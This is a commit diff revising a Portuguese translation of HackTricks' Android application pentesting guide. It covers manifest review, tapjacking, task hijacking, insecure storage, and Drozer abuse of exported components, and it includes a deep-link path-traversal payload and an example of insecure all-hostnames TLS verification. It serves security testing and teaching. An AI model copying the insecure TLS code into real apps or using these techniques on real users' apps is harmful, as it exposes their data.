mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 23:20:49 +00:00
Translated ['mobile-pentesting/android-app-pentesting/README.md', 'mobil
This commit is contained in:
parent
f27b80c5dc
commit
a9a5a0ab7a
117 changed files with 3308 additions and 4460 deletions
|
@ -2,15 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda a hackear a AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -40,14 +40,14 @@ Fique informado sobre os novos programas de recompensas por bugs lançados e atu
|
|||
## ADB (Android Debug Bridge)
|
||||
|
||||
Esta é a principal ferramenta que você precisa para se conectar a um dispositivo Android (emulado ou físico).\
|
||||
Permite controlar seu dispositivo por **USB** ou **Rede** a partir de um computador, **copiar** arquivos de ida e volta, **instalar** e desinstalar aplicativos, executar comandos **shell**, realizar **backups**, ler **logs** e muito mais.
|
||||
**ADB** permite controlar dispositivos via **USB** ou **Rede** a partir de um computador. Esta utilidade permite a **cópia** de arquivos em ambas as direções, **instalação** e **desinstalação** de aplicativos, **execução** de comandos de shell, **backup** de dados, **leitura** de logs, entre outras funções.
|
||||
|
||||
Dê uma olhada na seguinte lista de [**Comandos ADB**](adb-commands.md) para aprender como usar o adb.
|
||||
|
||||
## Smali
|
||||
|
||||
Às vezes é interessante **modificar o código do aplicativo** para acessar **informações ocultas** (talvez senhas bem ofuscadas ou flags). Então, pode ser interessante descompilar o apk, modificar o código e recompilá-lo.\
|
||||
[Neste tutorial](smali-changes.md) você pode **aprender como descompilar um APK, modificar o código Smali e recompilar o APK** com a nova funcionalidade. Isso pode ser muito útil como uma **alternativa para vários testes durante a análise dinâmica** que serão apresentados. Então, **mantenha sempre em mente essa possibilidade**.
|
||||
Às vezes é interessante **modificar o código do aplicativo** para acessar **informações ocultas** (talvez senhas bem ofuscadas ou flags). Nesse caso, pode ser interessante descompilar o apk, modificar o código e recompilá-lo.\
|
||||
[Neste tutorial](smali-changes.md) você pode **aprender como descompilar um APK, modificar o código Smali e recompilar o APK** com a nova funcionalidade. Isso pode ser muito útil como uma **alternativa para vários testes durante a análise dinâmica** que serão apresentados. Então, **sempre tenha em mente essa possibilidade**.
|
||||
|
||||
## Outros truques interessantes
|
||||
|
||||
|
@ -70,41 +70,38 @@ Por favor, [**leia aqui para encontrar informações sobre diferentes decompilad
|
|||
|
||||
### Procurando por Informações Interessantes
|
||||
|
||||
Apenas olhando para as **strings** do APK você pode procurar por **senhas**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), chaves de **API**, **criptografia**, **UUIDs de bluetooth**, **tokens** e qualquer coisa interessante... procure até por **backdoors** de execução de código ou backdoors de autenticação (credenciais de administrador codificadas no aplicativo).
|
||||
Apenas olhando para as **strings** do APK, você pode procurar por **senhas**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), chaves de **API**, **criptografia**, **UUIDs de bluetooth**, **tokens** e qualquer coisa interessante... procure até por **backdoors** de execução de código ou backdoors de autenticação (credenciais de administrador codificadas no aplicativo).
|
||||
|
||||
**Firebase**
|
||||
|
||||
Preste atenção especial às **URLs do firebase** e verifique se estão mal configuradas. [Mais informações sobre o que é o Firebase e como explorá-lo aqui.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
Preste atenção especial às **URLs do Firebase** e verifique se estão mal configuradas. [Mais informações sobre o que é o Firebase e como explorá-lo aqui.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
|
||||
### Compreensão básica da aplicação - Manifest.xml, strings.xml
|
||||
|
||||
Usando qualquer um dos **decompiladores** mencionados [**aqui**](apk-decompilers.md) você poderá ler o _Manifest.xml_. Você também pode **renomear** a extensão do arquivo **apk para .zip** e **descompactá-lo**.\
|
||||
Lendo o **manifest** você pode encontrar **vulnerabilidades**:
|
||||
A **análise dos arquivos _Manifest.xml_ e _strings.xml_ de uma aplicação pode revelar vulnerabilidades de segurança potenciais**. Esses arquivos podem ser acessados usando decompiladores ou renomeando a extensão do arquivo APK para .zip e descompactando-o.
|
||||
|
||||
* Primeiramente, verifique se **o aplicativo é depurável**. Um APK de produção não deve ser (ou outros poderão se conectar a ele). Você pode verificar se um aplicativo é depurável procurando no manifesto pelo atributo `debuggable="true"` dentro da tag _\<application_ Exemplo: `<application theme="@2131296387" debuggable="true"`
|
||||
* [Aprenda aqui](drozer-tutorial/#is-debuggeable) como encontrar aplicativos depuráveis em um telefone e explorá-los
|
||||
* **Backup**: O atributo **`android:allowBackup`** define se os dados do aplicativo podem ser salvos e restaurados por um usuário que habilitou a depuração USB. Se a flag de backup estiver definida como true, permite que um atacante faça o backup dos dados do aplicativo via adb mesmo que o dispositivo não esteja rooteado. Portanto, aplicativos que lidam e armazenam informações sensíveis como detalhes de cartão, senhas etc. devem ter essa configuração explicitamente definida como **false** porque por padrão é definida como **true** para evitar tais riscos.
|
||||
* `<application android:allowBackup="false"`
|
||||
* **NetworkSecurity:** A segurança de rede do aplicativo pode sobrescrever os valores padrão com **`android:networkSecurityConfig="@xml/network_security_config"`**. Um arquivo com esse nome pode ser colocado em _**res/xml.**_ Este arquivo configurará configurações de segurança importantes como pins de certificado ou se permite tráfego HTTP. Você pode ler aqui mais informações sobre todas as coisas que podem ser configuradas, mas verifique este exemplo sobre como configurar o tráfego HTTP para alguns domínios:
|
||||
* `<domain-config cleartextTrafficPermitted="true"> <domain includeSubdomains="true">formation-software.co.uk </domain></domain-config>`
|
||||
* **Atividades Exportadas**: Verifique as atividades exportadas no manifesto, pois isso pode ser perigoso. Mais tarde na análise dinâmica será explicado como [você pode abusar desse comportamento](./#exploiting-exported-activities-authorisation-bypass).
|
||||
* **Provedores de Conteúdo**: Se um provedor exportado estiver exposto, você poderá acessar/modificar informações interessantes. Na análise dinâmica [você aprenderá como abusar deles](./#exploiting-content-providers-accessing-and-manipulating-sensitive-information).
|
||||
* Verifique as configurações de **FileProviders** dentro do atributo `android:name="android.support.FILE_PROVIDER_PATHS"`. [Leia aqui para aprender mais sobre FileProviders](./#fileprovider).
|
||||
* **Serviços Expostos**: Dependendo do que o serviço está fazendo internamente, vulnerabilidades podem ser exploradas. Na análise dinâmica [você aprenderá como abusar deles](./#exploiting-services).
|
||||
* **Receptores de Broadcast**: [Você aprenderá como possivelmente explorá-los](./#exploiting-broadcast-receivers) durante a análise dinâmica.
|
||||
* **Esquema de URL**: Leia o código da atividade que gerencia o esquema e procure por vulnerabilidades no gerenciamento da entrada do usuário. Mais informações sobre [o que é um esquema de URL aqui](./#url-schemes).
|
||||
* **minSdkVersion**, **targetSDKVersion**, **maxSdkVersion**: Eles indicam as versões do Android em que o aplicativo será executado. É importante mantê-los em mente porque do ponto de vista da segurança, suportar versões antigas permitirá que versões vulneráveis conhecidas do Android o executem.
|
||||
**Vulnerabilidades** identificadas no **Manifest.xml** incluem:
|
||||
|
||||
Lendo **resources.arsc/strings.xml** você pode encontrar algumas **informações interessantes**:
|
||||
* **Aplicativos Debugáveis**: Aplicativos definidos como debugáveis (`debuggable="true"`) no arquivo _Manifest.xml_ representam um risco, pois permitem conexões que podem levar à exploração. Para entender melhor como explorar aplicativos debugáveis, consulte um tutorial sobre como encontrar e explorar aplicativos debugáveis em um dispositivo.
|
||||
|
||||
* Chaves de API
|
||||
* Esquemas personalizados
|
||||
* Outras informações interessantes que os desenvolvedores salvam neste arquivo
|
||||
* **Configurações de Backup**: O atributo `android:allowBackup="false"` deve ser definido explicitamente para aplicativos que lidam com informações sensíveis para evitar backups não autorizados via adb, especialmente quando a depuração USB está ativada.
|
||||
|
||||
* **Segurança de Rede**: Configurações personalizadas de segurança de rede (`android:networkSecurityConfig="@xml/network_security_config"`) em _res/xml/_ podem especificar detalhes de segurança como pins de certificado e configurações de tráfego HTTP. Um exemplo é permitir tráfego HTTP para domínios específicos.
|
||||
|
||||
* **Atividades e Serviços Exportados**: Identificar atividades e serviços exportados no manifesto pode destacar componentes que podem ser mal utilizados. Uma análise adicional durante os testes dinâmicos pode revelar como explorar esses componentes.
|
||||
|
||||
* **Provedores de Conteúdo e FileProviders**: Provedores de conteúdo expostos podem permitir acesso ou modificação não autorizados de dados. A configuração de FileProviders também deve ser examinada.
|
||||
|
||||
* **Receptores de Broadcast e Esquemas de URL**: Esses componentes podem ser aproveitados para exploração, com atenção especial à forma como os esquemas de URL são gerenciados para vulnerabilidades de entrada.
|
||||
|
||||
* **Versões do SDK**: Os atributos `minSdkVersion`, `targetSDKVersion` e `maxSdkVersion` indicam as versões do Android suportadas, destacando a importância de não suportar versões desatualizadas e vulneráveis do Android por motivos de segurança.
|
||||
|
||||
Do arquivo **strings.xml**, informações sensíveis como chaves de API, esquemas personalizados e outras notas de desenvolvedor podem ser descobertas, destacando a necessidade de uma revisão cuidadosa desses recursos.
|
||||
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking** é um ataque onde um **aplicativo malicioso** é lançado e **se posiciona sobre um aplicativo vítima**. Uma vez que obscurece visualmente o aplicativo vítima, sua interface de usuário é projetada de forma a enganar o usuário para interagir com ele, enquanto passa a interação para o aplicativo vítima.\
|
||||
Na prática, ele **cega o usuário de saber que está realmente realizando ações no aplicativo vítima**.
|
||||
**Tapjacking** é um ataque em que um **aplicativo malicioso** é lançado e **se posiciona sobre um aplicativo vítima**. Uma vez que ele obscurece visualmente o aplicativo vítima, sua interface de usuário é projetada de forma a enganar o usuário para interagir com ele, enquanto passa a interação para o aplicativo vítima.\
|
||||
Na prática, ele **cega o usuário, fazendo-o acreditar que está realizando ações no aplicativo vítima**.
|
||||
|
||||
Encontre mais informações em:
|
||||
|
||||
|
@ -114,7 +111,7 @@ Encontre mais informações em:
|
|||
|
||||
### Sequestro de Tarefas
|
||||
|
||||
Uma **atividade** com o **`launchMode`** definido como **`singleTask` sem nenhuma `taskAffinity`** definida é vulnerável ao sequestro de tarefas. Isso significa que um **aplicativo** pode ser instalado e, se lançado antes do aplicativo real, poderia **sequestrar a tarefa do aplicativo real** (então o usuário estará interagindo com o **aplicativo malicioso pensando que está usando o real**).
|
||||
Uma **atividade** com o **`launchMode`** definido como **`singleTask` sem `taskAffinity`** definido é vulnerável ao sequestro de tarefas. Isso significa que um **aplicativo** pode ser instalado e, se lançado antes do aplicativo real, pode **sequestrar a tarefa do aplicativo real** (então o usuário estará interagindo com o **aplicativo malicioso pensando que está usando o real**).
|
||||
|
||||
Mais informações em:
|
||||
|
||||
|
@ -122,7 +119,7 @@ Mais informações em:
|
|||
[android-task-hijacking.md](android-task-hijacking.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Armazenamento de dados inseguro
|
||||
### Armazenamento Inseguro de Dados
|
||||
|
||||
**Armazenamento Interno**
|
||||
|
||||
|
@ -132,12 +129,10 @@ No Android, arquivos **armazenados** no **armazenamento interno** são **projeta
|
|||
- **Garanta** que o uso de `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` seja **cuidadosamente examinado**. Esses modos **podem potencialmente expor** arquivos a **acessos não intencionais ou não autorizados**.
|
||||
|
||||
2. **Análise Dinâmica:**
|
||||
- **Verifique** as **permissões** definidas nos arquivos criados pelo aplicativo. Especificamente, **verifique** se algum arquivo está **definido para ser legível ou gravável globalmente**. Isso pode representar um risco significativo à segurança, pois permitiria que **qualquer aplicativo** instalado no dispositivo, independentemente de sua origem ou intenção, **leia ou modifique** esses arquivos.
|
||||
- **Verifique** as **permissões** definidas nos arquivos criados pelo aplicativo. Especificamente, **verifique** se algum arquivo está **configurado para ser legível ou gravável globalmente**. Isso pode representar um risco significativo à segurança, pois permitiria que **qualquer aplicativo** instalado no dispositivo, independentemente de sua origem ou intenção, **leia ou modifique** esses arquivos.
|
||||
|
||||
**Armazenamento Externo**
|
||||
|
||||
### Diretrizes para Gerenciar Arquivos no Armazenamento Externo
|
||||
|
||||
Ao lidar com arquivos no **armazenamento externo**, como cartões SD, certas precauções devem ser tomadas:
|
||||
|
||||
1. **Acessibilidade**:
|
||||
|
@ -150,7 +145,7 @@ Ao lidar com arquivos no **armazenamento externo**, como cartões SD, certas pre
|
|||
3. **Manuseio de Dados do Armazenamento Externo**:
|
||||
- Sempre **realize validação de entrada** nos dados recuperados do armazenamento externo. Isso é crucial porque os dados são de uma fonte não confiável.
|
||||
- Armazenar executáveis ou arquivos de classe no armazenamento externo para carregamento dinâmico é fortemente desencorajado.
|
||||
- Se seu aplicativo precisar recuperar arquivos executáveis do armazenamento externo, certifique-se de que esses arquivos sejam **assinados e verificados criptograficamente** antes de serem carregados dinamicamente. Esta etapa é vital para manter a integridade de segurança do seu aplicativo.
|
||||
- Se seu aplicativo precisar recuperar arquivos executáveis do armazenamento externo, garanta que esses arquivos sejam **assinados e verificados criptograficamente** antes de serem carregados dinamicamente. Este passo é vital para manter a integridade de segurança do seu aplicativo.
|
||||
|
||||
O armazenamento externo pode ser **acessado** em `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
|
||||
|
@ -160,14 +155,14 @@ A partir do Android 4.4 (**API 17**), o cartão SD possui uma estrutura de diret
|
|||
|
||||
**Dados sensíveis armazenados em texto claro**
|
||||
|
||||
* **Preferências compartilhadas**: O Android permite que cada aplicativo salve facilmente arquivos xml no caminho `/data/data/<nomedopacote>/shared_prefs/` e às vezes é possível encontrar informações sensíveis em texto claro nessa pasta.
|
||||
* **Bancos de dados**: O Android permite que cada aplicativo salve bancos de dados sqlite facilmente no caminho `/data/data/<nomedopacote>/databases/` e às vezes é possível encontrar informações sensíveis em texto claro nessa pasta.
|
||||
* **Preferências Compartilhadas**: O Android permite que cada aplicativo salve facilmente arquivos xml no caminho `/data/data/<nomedopacote>/shared_prefs/` e às vezes é possível encontrar informações sensíveis em texto claro nessa pasta.
|
||||
* **Bancos de Dados**: O Android permite que cada aplicativo salve bancos de dados sqlite facilmente no caminho `/data/data/<nomedopacote>/databases/` e às vezes é possível encontrar informações sensíveis em texto claro nessa pasta.
|
||||
|
||||
### TLS Quebrado
|
||||
|
||||
**Aceitar Todos os Certificados**
|
||||
|
||||
Por algum motivo, às vezes os desenvolvedores aceitam todos os certificados mesmo que, por exemplo, o nome do host não corresponda com linhas de código como a seguinte:
|
||||
Por algum motivo, às vezes os desenvolvedores aceitam todos os certificados, mesmo que, por exemplo, o nome do host não corresponda com linhas de código como a seguinte:
|
||||
```java
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
|
@ -180,7 +175,7 @@ Alguns desenvolvedores salvam dados sensíveis no armazenamento local e os cript
|
|||
|
||||
**Uso de Algoritmos Inseguros e/ou Obsoletos**
|
||||
|
||||
Os desenvolvedores não devem usar algoritmos **obsoletos** para realizar **verificações** de **autorização**, **armazenar** ou **enviar** dados. Alguns desses algoritmos são: RC4, MD4, MD5, SHA1... Se **hashes** forem usados para armazenar senhas, por exemplo, hashes resistentes a **ataques de força bruta** devem ser usados com salt.
|
||||
Os desenvolvedores não devem usar algoritmos **obsoletos** para realizar **verificações** de autorização, **armazenar** ou **enviar** dados. Alguns desses algoritmos são: RC4, MD4, MD5, SHA1... Se **hashes** forem usados para armazenar senhas, por exemplo, hashes resistentes a ataques de força bruta devem ser usados com salt.
|
||||
|
||||
### Outras verificações
|
||||
|
||||
|
@ -249,7 +244,7 @@ Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSb
|
|||
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
|
||||
|
||||
**Notícias de Hacking em Tempo Real**\
|
||||
Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e percepções em tempo real
|
||||
Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e insights em tempo real
|
||||
|
||||
**Últimos Anúncios**\
|
||||
Fique informado sobre os mais novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
||||
|
@ -260,7 +255,7 @@ Fique informado sobre os mais novos programas de recompensas por bugs lançados
|
|||
|
||||
## Análise Dinâmica
|
||||
|
||||
> Primeiramente, você precisa de um ambiente onde possa instalar o aplicativo e todo o ambiente (certificado Burp CA, Drozer e Frida principalmente). Portanto, um dispositivo com root (emulado ou não) é extremamente recomendado.
|
||||
> Primeiramente, você precisa de um ambiente onde possa instalar o aplicativo e todo o ambiente (certificado Burp CA, Drozer e Frida principalmente). Portanto, um dispositivo rooteado (emulado ou não) é extremamente recomendado.
|
||||
|
||||
### Análise Dinâmica Online
|
||||
|
||||
|
@ -283,18 +278,18 @@ Graças à conexão ADB, você pode usar **Drozer** e **Frida** nos emuladores.
|
|||
[avd-android-virtual-device.md](avd-android-virtual-device.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Versão gratuita:** Personal Edition, você precisa criar uma conta. _É recomendado **baixar** a versão **COM**_ _**VirtualBox** para evitar erros potenciais._)
|
||||
* [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Versão gratuita:** Personal Edition, você precisa criar uma conta. _É recomendável **baixar** a versão **COM**_ _**VirtualBox** para evitar erros potenciais._)
|
||||
* [**Nox**](https://es.bignox.com) (Gratuito, mas não suporta Frida ou Drozer).
|
||||
|
||||
{% hint style="info" %}
|
||||
Ao criar um novo emulador em qualquer plataforma, lembre-se de que quanto maior a tela, mais lento o emulador funcionará. Portanto, selecione telas pequenas, se possível.
|
||||
{% endhint %}
|
||||
|
||||
Para **instalar serviços do Google** (como a Play Store) no Genymotion, você precisa clicar no botão marcado em vermelho na seguinte imagem:
|
||||
Para **instalar serviços do Google** (como a Play Store) no Genymotion, você precisa clicar no botão marcado de vermelho na seguinte imagem:
|
||||
|
||||
![](<../../.gitbook/assets/image (200) (1).png>)
|
||||
|
||||
Além disso, observe que na **configuração da VM Android no Genymotion** você pode selecionar o **modo de rede Bridge** (isso será útil se você for conectar à VM Android de uma VM diferente com as ferramentas).
|
||||
Além disso, observe que na **configuração da VM Android no Genymotion** você pode selecionar o modo **Bridge Network** (isso será útil se você for conectar à VM Android de uma VM diferente com as ferramentas).
|
||||
|
||||
#### Usar um dispositivo físico
|
||||
|
||||
|
@ -313,26 +308,26 @@ Você precisa ativar as opções de **depuração** e será ótimo se você pude
|
|||
|
||||
**Logging**
|
||||
|
||||
Frequentemente, os desenvolvedores deixam informações de depuração publicamente. Portanto, qualquer aplicativo com permissão `READ_LOGS` pode **acessar esses logs** e obter informações sensíveis por meio deles.\
|
||||
Ao navegar pelo aplicativo, use [**pidcat**](https://github.com/JakeWharton/pidcat)_(Recomendado, é mais fácil de usar e ler)_ ou [adb logcat](adb-commands.md#logcat) para ler os logs criados e **procurar por informações sensíveis**.
|
||||
Os desenvolvedores devem ter cuidado ao expor informações de **depuração** publicamente, pois isso pode levar a vazamentos de dados sensíveis. As ferramentas [**pidcat**](https://github.com/JakeWharton/pidcat) e `adb logcat` são recomendadas para monitorar os logs do aplicativo e identificar e proteger informações sensíveis. **Pidcat** é preferido por sua facilidade de uso e legibilidade.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Observe que a partir das **versões posteriores ao Android 4.0**, **os aplicativos só podem acessar seus próprios logs**. Portanto, os aplicativos não podem acessar os logs de outros aplicativos.\
|
||||
De qualquer forma, ainda é recomendado **não registrar informações sensíveis**.
|
||||
Observe que a partir do **Android 4.0 ou posterior**, **os aplicativos só podem acessar seus próprios logs**. Portanto, os aplicativos não podem acessar os logs de outros aplicativos.\
|
||||
De qualquer forma, ainda é recomendável **não registrar informações sensíveis**.
|
||||
{% endhint %}
|
||||
|
||||
**Armazenamento de Buffer de Cópia/Colagem em Cache**
|
||||
**Armazenamento em Cache do Buffer de Copiar/Colar**
|
||||
|
||||
O Android fornece um **framework baseado em área de transferência** para fornecer a função de cópia/colagem em aplicativos Android. Mas isso cria um problema sério quando algum **outro aplicativo** pode **acessar** a **área de transferência** que contém alguns dados sensíveis. A função de **cópia/colagem** deve ser **desativada** para a **parte sensível** do aplicativo. Por exemplo, desative a cópia de detalhes do cartão de crédito.
|
||||
O framework baseado em **clipboard** do Android permite funcionalidades de copiar/colar em aplicativos, mas representa um risco, pois **outros aplicativos** podem **acessar** a área de transferência, expondo potencialmente dados sensíveis. É crucial **desativar as funções de copiar/colar** para seções sensíveis de um aplicativo, como detalhes de cartão de crédito, para evitar vazamentos de dados.
|
||||
|
||||
**Logs de Falhas**
|
||||
|
||||
Se um aplicativo **falhar** durante a execução e salvar logs em algum lugar, esses logs podem ser úteis para um atacante, especialmente nos casos em que o aplicativo Android não pode ser engenhado reversamente. Em seguida, evite criar logs quando os aplicativos falham e, se os logs forem enviados pela rede, certifique-se de que sejam enviados por um canal SSL.\
|
||||
Se um aplicativo **falhar** e **salvar logs**, esses logs podem ajudar os atacantes, especialmente quando o aplicativo não pode ser engenhado reversamente. Para mitigar esse risco, evite registrar falhas e, se os logs precisarem ser transmitidos pela rede, garanta que sejam enviados por meio de um canal SSL para segurança.
|
||||
|
||||
Como testador de penetração, **tente dar uma olhada nesses logs**.
|
||||
|
||||
**Dados Analíticos Enviados a Terceiros**
|
||||
|
||||
A maioria dos aplicativos usa outros serviços em seus aplicativos, como o Google AdSense, mas às vezes eles **vazam alguns dados sensíveis** ou dados que não precisam ser enviados para esse serviço. Isso pode acontecer porque o desenvolvedor não implementou o recurso corretamente. Você pode **verificando a interceptação do tráfego** do aplicativo e ver se algum dado sensível está sendo enviado para terceiros ou não.
|
||||
Os aplicativos frequentemente integram serviços como Google Adsense, que podem inadvertidamente **vazar dados sensíveis** devido a uma implementação inadequada pelos desenvolvedores. Para identificar vazamentos de dados potenciais, é aconselhável **interceptar o tráfego do aplicativo** e verificar se há envio de informações sensíveis para serviços de terceiros.
|
||||
|
||||
### Bancos de Dados SQLite
|
||||
|
||||
|
@ -343,19 +338,20 @@ Se o banco de dados estiver salvando informações confidenciais e estiver **cri
|
|||
|
||||
Enumere as tabelas usando `.tables` e enumere as colunas das tabelas fazendo `.schema <nome_da_tabela>`
|
||||
|
||||
### Drozer (Atividades de Exploração, Provedores de Conteúdo e Serviços)
|
||||
### Drozer (Explorar Atividades, Provedores de Conteúdo e Serviços)
|
||||
|
||||
**Drozer** permite que você **assuma o papel de um aplicativo Android** e interaja com outros aplicativos. Ele pode fazer **qualquer coisa que um aplicativo instalado possa fazer**, como fazer uso do mecanismo de Comunicação entre Processos (IPC) do Android e interagir com o sistema operacional subjacente. Do [Guia do Drozer](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf).\
|
||||
A partir da [Documentação do Drozer](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** permite que você **assuma o papel de um aplicativo Android** e interaja com outros aplicativos. Ele pode fazer **qualquer coisa que um aplicativo instalado possa fazer**, como fazer uso do mecanismo de Comunicação entre Processos (IPC) do Android e interagir com o sistema operacional subjacente.\
|
||||
Drozer é uma ferramenta útil para **explorar atividades exportadas, serviços exportados e Provedores de Conteúdo**, como você aprenderá nas seções a seguir.
|
||||
|
||||
### Explorando Atividades Exportadas
|
||||
|
||||
[**Leia isso se quiser relembrar o que é uma Atividade Android.**](android-applications-basics.md#launcher-activity-and-other-activities)\
|
||||
Lembre-se também de que o código de uma atividade começa com o método `onCreate`.
|
||||
Lembre-se também de que o código de uma atividade começa no método **`onCreate`**.
|
||||
|
||||
**Bypass de Autorização**
|
||||
|
||||
Quando uma Atividade é exportada, você pode invocar sua tela de um aplicativo externo. Portanto, se uma atividade com **informações sensíveis** for **exportada**, você poderia **burlar** os **mecanismos de autenticação** para acessá-la.\
|
||||
Quando uma Atividade é exportada, você pode invocar sua tela de um aplicativo externo. Portanto, se uma atividade com **informações sensíveis** for **exportada**, você poderia **burlar** os **mecanismos de autenticação** para acessá-la.
|
||||
|
||||
[**Aprenda como explorar atividades exportadas com Drozer.**](drozer-tutorial/#activities)
|
||||
|
||||
Você também pode iniciar uma atividade exportada a partir do adb:
|
||||
|
@ -382,7 +378,8 @@ Se o tapjacking não for prevenido, você poderia abusar da atividade exportada
|
|||
### Explorando Provedores de Conteúdo - Acessando e manipulando informações sensíveis
|
||||
|
||||
[**Leia isso se quiser relembrar o que é um Provedor de Conteúdo.**](android-applications-basics.md#content-provider)\
|
||||
Os provedores de conteúdo são basicamente usados para **compartilhar dados**. Se um aplicativo tiver provedores de conteúdo disponíveis, você pode ser capaz de **extrair dados sensíveis** deles. Também é interessante testar possíveis **injeções de SQL** e **travessias de caminho** pois eles podem ser vulneráveis.\
|
||||
Os provedores de conteúdo são basicamente usados para **compartilhar dados**. Se um aplicativo tiver provedores de conteúdo disponíveis, você pode ser capaz de **extrair dados sensíveis** deles. Também é interessante testar possíveis **injeções de SQL** e **travessias de caminho** pois eles podem ser vulneráveis.
|
||||
|
||||
[**Aprenda como explorar Provedores de Conteúdo com o Drozer.**](drozer-tutorial/#content-providers)
|
||||
|
||||
### **Explorando Serviços**
|
||||
|
@ -431,68 +428,65 @@ Para encontrar o **código que será executado no aplicativo**, vá para a ativi
|
|||
|
||||
**Informações sensíveis**
|
||||
|
||||
Sempre que encontrar um deep link, verifique se **não está recebendo dados sensíveis (como senhas) por meio de parâmetros de URL**, pois qualquer outro aplicativo poderia **fingir ser o deep link e roubar esses dados!**
|
||||
Sempre que encontrar um deeplink, verifique se **não está recebendo dados sensíveis (como senhas) por meio de parâmetros de URL**, pois qualquer outro aplicativo poderia **fingir ser o deeplink e roubar esses dados!**
|
||||
|
||||
**Parâmetros no caminho**
|
||||
|
||||
Você **também deve verificar se algum deep link está usando um parâmetro dentro do caminho** do URL, como: `https://api.example.com/v1/users/{username}`, nesse caso você pode forçar uma travessia de caminho acessando algo como: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||
Observe que se você encontrar os endpoints corretos dentro do aplicativo, poderá causar um **Redirecionamento Aberto** (se parte do caminho for usada como nome de domínio), **assumir o controle da conta** (se puder modificar detalhes dos usuários sem token CSRF e o endpoint vulnerável usar o método correto) e qualquer outra vulnerabilidade. Mais [informações sobre isso aqui](http://dphoeniixx.com/2020/12/13-2/).
|
||||
Você **também deve verificar se algum deeplink está usando um parâmetro dentro do caminho** do URL, como: `https://api.example.com/v1/users/{username}`, nesse caso você pode forçar uma travessia de caminho acessando algo como: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||
Observe que se você encontrar os endpoints corretos dentro do aplicativo, poderá causar um **Redirecionamento Aberto** (se parte do caminho for usada como nome de domínio), **assumir a conta** (se puder modificar detalhes dos usuários sem token CSRF e o endpoint vulnerável usar o método correto) e qualquer outra vulnerabilidade. Mais [informações sobre isso aqui](http://dphoeniixx.com/2020/12/13-2/).
|
||||
|
||||
**Mais exemplos**
|
||||
|
||||
Um [relatório interessante de recompensa por bugs](https://hackerone.com/reports/855618) sobre links (_/.well-known/assetlinks.json_).
|
||||
|
||||
### Proteção Insuficiente da Camada de Transporte
|
||||
### Falhas na Inspeção e Verificação da Camada de Transporte
|
||||
|
||||
* **Falta de Inspeção de Certificado:** O aplicativo Android falha em verificar a identidade do certificado apresentado a ele. A maioria dos aplicativos ignora os avisos e aceita qualquer certificado autoassinado apresentado. Alguns aplicativos, em vez disso, passam o tráfego por uma conexão HTTP.
|
||||
* **Negociação de Aperto de Mão Fraca:** Aplicativo e servidor realizam um aperto de mão SSL/TLS, mas usam uma suíte de cifras insegura que é vulnerável a ataques MITM. Assim, qualquer atacante pode facilmente descriptografar essa conexão.
|
||||
* **Vazamento de Informações de Privacidade:** Na maioria das vezes, acontece que os aplicativos fazem autenticação por meio de um canal seguro, mas todas as outras conexões por meio de um canal não seguro. Isso não adiciona segurança ao aplicativo, pois outros dados sensíveis, como cookie de sessão ou dados do usuário, podem ser interceptados por um usuário malicioso.
|
||||
- **Certificados nem sempre são inspecionados corretamente** por aplicativos Android. É comum para esses aplicativos ignorar avisos e aceitar certificados autoassinados ou, em alguns casos, voltar a usar conexões HTTP.
|
||||
